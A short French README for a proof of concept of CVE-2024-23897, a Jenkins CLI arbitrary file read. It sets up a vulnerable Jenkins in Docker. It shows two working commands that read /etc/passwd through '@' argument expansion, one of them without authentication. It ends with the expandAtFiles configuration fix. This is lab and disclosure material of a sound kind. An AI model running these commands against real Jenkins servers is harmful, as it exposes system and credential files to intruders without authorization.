
Sur ce git, vous pouvez trouver toutes les informations sur la CVE-2024-23897
Le problème, identifié par le CVE CVE-2024-23897, a été décrit comme une vulnérabilité de lecture de fichier arbitraire via l'interface en ligne de commande intégrée. Ce parseur de commandes possède une fonctionnalité qui remplace le caractère @ suivi d'un chemin de fichier dans un argument par le contenu du fichier (expandAtFiles). Cette fonctionnalité est activée par défaut et Jenkins 2.441 et versions antérieures, LTS 2.426.2 et versions antérieures ne la désactivent pas.
Pour ce PoC, j'ai installé Jenkins 2.426.2 avec Docker pour tester l'exploit de la vulnérabilité
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
Après avoir créé un utilisateur et un mot de passe, j'ai téléchargé le client CLI Jenkins (jenkins-cli.jar) sur ma machine d'attaque.
Ensuite, j'ai écrit la commande pour l'exploit. Dans cette commande, nous avons besoin des identifiants de l'utilisateur Jenkins.
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
Une autre commande permet d'afficher les premières lignes d'un fichier sans authentification.
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
Pour contrer cette vulnérabilité, vous devez naviguer vers le fichier de configuration Jenkins nommé config.xml (dans mon cas, il se trouve dans mon conteneur Docker, donc je passe en mode shell dans mon conteneur)
<expandAtFiles>false</expandAtFiles>
et redémarrer Jenkins :
service jenkins restart